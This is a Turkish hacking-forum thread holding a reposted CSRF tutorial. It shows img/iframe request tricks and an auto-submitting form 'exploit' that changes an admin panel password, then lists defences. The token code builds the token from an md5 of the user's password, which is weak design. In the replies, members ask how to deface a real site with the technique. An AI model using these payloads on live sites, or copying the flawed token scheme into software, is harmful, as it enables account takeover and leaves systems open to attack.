CSRF/XSRF Nedir ? Nasıl Kullanılır ? Nasıl Korunulur ?

black real

Katılımcı Üye
20 Ocak 2013
907
0
CSRF (XSRF , Cross Site Request Forgery – Cross Site Reference Forgery ) Nedir ?

Başlamadan önce size kısaca bir CSRF (XSRF) yani Cross Site Request Forgery Nedir ?, ondan bahsetmek istiyorum. Cross Site Request Forgery (diğer adlarıyla XSRF, CSRF ve Cross Site Reference Forgery) browserlerin javascript çalıştırma desteğiyle kişilere istenilenin dışında servera komut yollanmasını sağlayan kodlardır. Sitemiz veya sistemimiz bu komutlar için genel olarak URL 'lerden yararlanır. (Örnek: https://www.domainsite.com/managemen...urk&submited=1) bizde bunu bildiğimiz için bundan yararlanıcaz veya formlar oluşturarak işlemimizi gerçekleştireceğiz. Zaten amacımızda bu işlemleri gerçekleştirebilecek yetkiye sahip kişileri oturum açmış durumdayken kullanarak onlar yerine kendi kodlarımızı güvenilir kodlarmış gibi kullanıcıyı kullanarak göndermektir ve bu saldırıları html veya javascript kodları kullanarak işlemesini sağlayabiliriz.(Örnek: <img src=”https://www.domainsite.com/managemen...urk&verify_pas s=corsanturk&submited=1”>)

Saldırı Şekilleri 1:

Saldırganımız önceden saldırı için hazırladığı sitemizi kurbana yollar kurban gezerken kurbanın domain sitesinde işlem yapması için ya bir teşvikte bulunabilir saldırganımız, online olduğu bir zamanı seçebilir ya da kurbanın işi çıkıp girebilir girdiği anda online olduğu için yani çevirim içi sitenin kod kısmına yerleştirilmiş olan (Örn: <img src=” https://www.domainsite.com/managemen...urk&verify_pas s=corsanturk&submited=1”> , <iframe src=” https://www.domainsite.com/managemen...urk&verify_pas s=corsanturk&submited=1”>) gibi html kodları veya formlarla (javascript ile) saldırganımız kendi adına kişinin servera kodları yollamasını sağlar.. Sonra olacak olan şifrenin değişmesidir. Bundan sonra saldırgan bunu ister başka bir java veya php codeyle işlemin gerçekleştiğini ya bir mail ile ya bir sniffer ile veya bilgisayarına bir log gönderterek öğrenmesi
çok basitir.
csrfry6.png

Ve kullanıcımızın tüm domainleri gidiyor. Neden? Çünkü kendisi için gerekli önlemleri almamış en basiti no-addon eklentisiyle mozilla’nın o javascript kodunun çalışmasını engelleyebilirdi html kodlarına da bilinmeyen bağlantıları engelleyerek önlem alabilirdi..

Saldırı Şekilleri 2:

Bu saldırı şeklimizde de yukarıda bahsettiğimiz formlarla saldırı şeklini kısaca gösterim…
Örneğin vhcs panelimizde bulunan bir csrf ile saldırganın neler yapabileceğini gösterim.

Exploit Code :

Kod:

<script type="text/javascript">
function corsanturk(){
********.forms[0].submit();
}
</script>

</HEAD>
<body onLoad="corsanturk()">
<corsanturk><html><body>
<form name="client_change_pass_frm" method="post" action="http://www.siteadress.com/admin/change_password.php">
<input type="password" name="pass" class="textinput"
value="passherre">
<input type="password" name="pass_rep" class="textinput" value="passhere">
<input type="hidden" name="uaction" value="updt_pass">
<input type="hidden" name="Submit" value="Update password">

</html></body></corsanturk>

Exploit kodumuz yukarda göründüğü gibidir burada javascript kodu yardımıyla saldırgan tarafından kullanıcıya .html şeklinde gönderilerek online yani aktif halde bulunan kullanıcının server a şifre değiştirme isteğinde bulunmasını sağlayabiliriz. Bunun sonucunda panel şifresi değişti. Yine kurban elindekini kaybetti… Kendinizde bu saldırı şekillerini çoğaltabilirsiniz ben en çok kullanılan 2 yöntemi gösterdim…

XSS ve CSRF Arasındaki İlişki :

XSS ve XSRF birbirini çok iyi tamamlayabilir bunu şöyle izah ettiğimde sanırım herkes anlayabilir örn: bir sitenin şifre değişme üzerine yazılmış bir xsrf açığı varsa ve kullanıcı adı da gerekiyorsa bununda aynı sayfaya yerleştirilmiş xss koduyla kolaylıkla alabiliriz yani bu 2 saldırı yöntemi aslında birbirine çok yardımcı yöntemlerdir…

XSRF 'den Korunma Yöntemleri :

3 ve daha fazla yöntemi vardır şimdi bunları açıklıcam.

1.CSRF $_POST Token Koruması

Bunu sizlere adım adım anlatmam daha mantıklı ve de açıklayıcı geldiği için böyle anlatcam..

1. Adım:

Bu kodu tüm <form method="POST"> kodlarından sonra echo() içerisinde eklemeniz önemlidir:
Code:
Kod:

<input type="hidden" name="token" value="".$_SESSION['token']."" />

2. Adım:
Bu kodu config dosyanıza ekleyin
Code:
Kod:

if (isset($_USER['id'])) { // your function to check if a user is logged in
if (empty($_SESSION['token']) || !isset($_SESSION['token'])) { // if there is no token set
$_SESSION['token'] = strrev(md5($_USER['password'])); //set a token with a reverse string and md5 encryption of the user's password
}
if (CSRF_PROTECTED != false) { // if you did not define CSRF_PROTECTED as false
if ($_POST) { // if there is a form present
if ($_POST['token'] != $_SESSION['token']) { // if the input token does not equal the session token
header("********: /index.php"); // redirect to index
die(); // stops all $_POST data from being sent
}
}
}
}

3. Adım:
Bu kodu da tüm include ile config dosyalarını çeken php dosyalarına ekleyiniz..

Kod:

define("CSRF_PROTECTED", false);

2. CSRF Captcha Koruması :

Captcha (Completely Automated Public Turing test to tell Computers and Humans Apart) kısaca kişinin üye olurken veya bir işlemi yaparken karşısına çıkna değişken sayı ve rakamlardan oluşan resimlerdir. Bu resimleri bir form da gerekli yere yazmadığımız sürece o işlem tamamlanmayacağı için csrf saldırıları için bir koruma teşkil etmektedir. Ama bundan öncede eğerki bu kurulumu zaten gerçekleştirmek istiyorsanız etkili kullanımı olan bir captcha kullanmanızı öneririm çünkü bazı sistemler captcha koyduğu halde aynı kodlar gösterilip duruyor veya bu kodlar okunabiliyor bu hataya düştükten sonra hiçbir anlamı olmaz captcha yı kullanmanın…

3. Browser Güvenliği :

Bunla da çok güvenilir de olmasa da kendimizce bir güvenlik oluşturabiliriz Örn: javascript kodları ile yapılan saldırılara karşı javascript kodlarının çalışmasını önleyerek ve ya html kodlarıyla yapılan saldırılara karşı yönlenecek siteleri engelleyerek ve ya kendi belirlediğimiz kodların filtre ile süzmesini sağlayarak engellenebilir…

4. HTTP_REFERER ile Engelleme :

Yani sizin istemediğiniz url den gelen istekleri reddederek bu kodları yollayan kişiyi farklı bir sayfaya yönlendirme işlemi ile csrf yöntemlerini engelleme tekniğidir..
Bunu aşağıdaki kodlarla sağlayabiliriz Örneğin:

Kod:

<?php
if (strstr($_SERVER['HTTP_REFERER']," http://www.google.com.tr")) {
header ("********: http://www.corsanturk.org/");
} else {
header ("********: http://www.grayhatz.org/");
}
?>

Burada google.com.tr den gelmeyen bir isteği grayhatz.org 'a yönlendirecek ama google.com.tr den gelen istege corsanturk.org u açacaktır bu kadar basit…

5. URL Rewrite :

URL Rewrite tekniği kısaca açıklamak gerekirse, sitemizdeki Url leri ?ID=30 şeklinden daha anlamlı olan baslik.html şekline çevirme işlemidir. Bunu yapmak uzun ve uğraşlı olabileceğinden ve tam sonuç alınamayacağından pek tavsiye edemem…

6. Get yerine Post Kullanımı :

Get yerine Post kullanılması yukarıdaki birinci saldırıyı etkisiz kılmaya yarayabilir yani post kullanımında <img src=””> ile resim paylaşımına izin verilebilir buda yukarıdaki saldırının resim olarak gözükmesine ve de x yani yanlış url olduğunu belli etmesini sağlar fakat saldırgan bunu javascript kodlarıyla atlatabileceği için tavsiye edemem…

7. <input type=”hidden”> ile Korunma :

Bu kodumuzla sitemizin kaynak kısmına yerleştirebileceğimiz çeşitli değişken değerler (Örnek: md5, herhangi başka değerler) bu yöntemin etkisiz kalmasını sağlayabilir bu en çok tavsiye edebileceğim yöntemlerdendir..



not: alıntıdır
 

Adigeefe

Katılımcı Üye
21 Haz 2015
614
9
Kafkasya
Güzel Paylaşım
.....
Videolusunu İstiyoruz Yarbayım... Ellerine Sağlık..
.....
Bu Yöntemle İndex Basamazmıyız Pek Anlamadımda :D
.....
Bi Pkk Sitesinde Bu Açık Varmışda Nasıl İndex Basarım . ? Tekrardan ellerine sağlık yarbayım...
 

02d3

Kıdemli Üye
23 Haz 2015
2,581
1
LA
Ama "*" olan yerleri boşluk bırakarak yazsan daha iyi olurdu.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.